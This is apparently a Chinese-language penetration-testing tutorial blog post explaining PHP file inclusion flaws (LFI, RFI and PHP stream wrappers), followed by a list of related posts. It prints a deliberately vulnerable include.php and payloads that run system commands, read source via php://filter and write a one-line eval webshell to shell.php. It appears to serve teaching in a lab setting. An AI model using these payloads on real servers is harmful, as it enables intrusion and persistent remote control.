网络安全与渗透:文件包含漏洞(十一)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法
阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf
目录
- 中华人民共和国网络安全法
- 简介
- PHP通常引发此漏洞的函数
- 文件包含漏洞常用场景
- 相关配置介绍
- php配置文件
- 本地文件包含 LFI
- 远程文件包含 RFI
- PHP伪协议包含
- php://input
- php://filter
- phar://
- data:url schema
- 通过session文件包含getshell
简介
简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
PHP通常引发此漏洞的函数
- include()
- include_once()
- require()
- require_once()
文件包含漏洞常用场景
- 具有相关文件包含函数
- 文件包含函数中存在动态变量 如include $file;
- 攻击者能够控制该变量 比如:file=file=file=_GET[‘file’];
- 常见的如:file page 等参数
相关配置介绍
php配置文件
php.ini 是php的配置文件,里面包含了众多配置,在php启动的时候被读取。自php3.5起,php支持每个目录的.htaccess风格的ini文件。此类文件仅被CDI/FASTCGI SAPI处理。如果使用apache,则用.htaccess文件同样效果。
以下是一些常见配置:
- short_open_tag = on 允许php使用短标签,如用 <? 代替 <?php,可利用短标签绕过waf
- disable_classes= /disable_functions= 禁用类/函数 可接收逗号分隔的函数名列表作为参数
- file_uploads = on 设置允许上传
- upload_max_filesize = 8m 最大允许上传多大的内容
- upload_tmp_dir 上传临时文件保存的目录,且这个目录可写
- allow_url_fopen = on 是否允许打开远程文件,该项打开,就能够利用上面的函数远程包含文件
本地文件包含 LFI
当被包含的文件在服务器本地时,就形成本地文件包含
假如服务器存在一个include.php文件,其代码如下:
<?php$file=$_GET['file'];include $file;
?>
那么就可以从浏览器上反问一些服务器敏感路径:如下:
在linux系统下就可以访问etc下面的内容,危害十分巨大。
当然,我们也可以将file参数指向我们上一篇博文中的图片木马,从而完全渗透到服务器。
远程文件包含 RFI
当被包含的文件在第三方服务器时,叫做远程文件包含。
前提条件,需要php设置两个参数
- allow_url_fopen = on
- allow_url_include = on 允许包含url对象文件等
这里开启一个本地的php服务,并写一个phpinfo的文件,也可以是一句话木马,然后远程包含
效果如下
PHP伪协议包含
php://input
它是可以访问请求的原始数据的只读流,简单来说就是,获取post传过去的数据
利用条件只有:
allow_url_include = on
利用方式:
index.php?file=php://input
POST:
<?php phpinfo();?> <?php system('ipconfig');?> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
下面来演示一下
1.将上面的include.php文件放在文件漏洞靶场第一关目录下,如下图
然后在浏览器中访问,如下图,
php://filter
我们一般用它来读取源码,一般用base64先编码,再解码
利用方式
index.php?page=php://filter/read=convert.base64-encode/resource=file1.php
index.php?page=php://filter/read=convert.base64-decode/resource=file1.php
下面演示一下:
首先还是在浏览器中访问
粘贴内容,在线解码:https://base64.us/
可以看到php源码内容
phar://
这个是利用压缩包读取内容的方式执行木马
利用条件,php版本低于5.3.0
首先创建一个文件test.txt 然后在里面写入<?php phpinfo();?>,或者一句话木马,然后压缩成一个test.zip, 通过文件上传等方式将这个压缩包上传到服务器。
在浏览器中这样访问:http://192.168.10.40/upload-labs-master/Pass-01/include.php?file=pchar://压缩包路径/test.txt
如果include.php和压缩包不在一个目录,可以利用…/找到压缩包的目录
类似它的还有: zip://压缩包绝对路径%23文件名称
data:url schema
利用条件:
- php版本大于5.2
- allow_url_include = on
- allow_url_fopen = on
利用方式:
include.php?file=data:text/plain,<?php phpinfo();?>
include.php?file=data:text/plain,<?php system('whoami');?>
通过session文件包含getshell
未完待续。。。
网络安全与渗透:文件包含漏洞(十一)此生无悔入华夏,男儿何不带吴钩相关推荐
- 网络安全与渗透:kali系统,namp端口扫描(一)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 来世还做Java_“此生无悔入华夏,来世还做中国人”原话是什么?出自哪?
"为什么我的眼里常含泪水,因为我对她爱得深沉-" --艾青 国庆期间,相信大家经常在爱国内容的评论中看到"此生无悔入华夏,来世还做中国人"."此生无悔 ...
- 网络安全与渗透:文件上传漏洞,一文详解(十)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 网络安全与渗透:内网渗透,Cobalt_Strike(十三)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 网络安全与渗透:xss 跨站脚本攻击(十二)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 网络安全与渗透:信息收集——google浏览器插件,代理服务(五)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 网络安全与渗透:内网dns劫持——ettercap(三)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 网络安全与渗透:信息收集——FOFA,域名信息(六)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- 二十二、“此生无悔入华夏,来世还在种花家”(2021.7.1)
最新文章
- PHP微信公众号开发插件,基于ThinkCMF1.5.0开发的微信公众号插件
- 基于Python的完全监督机器学习教程 Complete Supervised Machine Learning With Python
- 『ORACLE』 配置共享服务器(11g)
- 组建校园网计算机网络设计,小型校园网的设计与组建Word版
- html 批量转换excel,Excel批量转为Html,Html转换成Excel
- Redis_简单使用
- 汇编语言:利用栈的特性对内存数据进行逆置
- sql order by 结合case when then
- 微软全球AI负责人沈向洋博士:下一个智能终端的风口 | IoT in Action
- MOQL—过滤器(Filter)
- Selenium官网首页译
- dota2服务器切换账号,DOTA2网络卡顿得到改善 全面更换电信服务器机房
- 杰理之ANC降噪三种类型【篇】
- 【Day5.6】当地人的美食街
- “概率模型与计算机视觉” 林达华
- 【技术】Leaflet 地图,惭愧惭愧
- 并查集:CDOJ1593-老司机破阵 (假的并查集拆除)
- 推荐好书《追风筝的人》
- python界面实现点餐系统_基于PythonFlask的网上点餐系统管理员后台开发
- 染书CRMA|一个贴身的智慧校园
热门文章
- h264基础知识 宏块,片
- 奥塔在线:vsftpd服务如何开启访问日志
- 把数据中心建在海底,“水中捞月”的微软是怎么想的?
- centos 安装erlang
- Axure 使用心得分享
- python恶搞图_搞几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码!...
- 国内首届中文人机对话技术评测赛果出炉,两项任务冠军团队都分享了哪些技术细节?...
- django进阶11 聚合查询 Q
- P1219 [USACO1.5]八皇后 Checker Challenge 题解
- 计算机教学研讨会方案,临沂大学信息学院计算机教学红色文化教育研讨会实施方案.doc...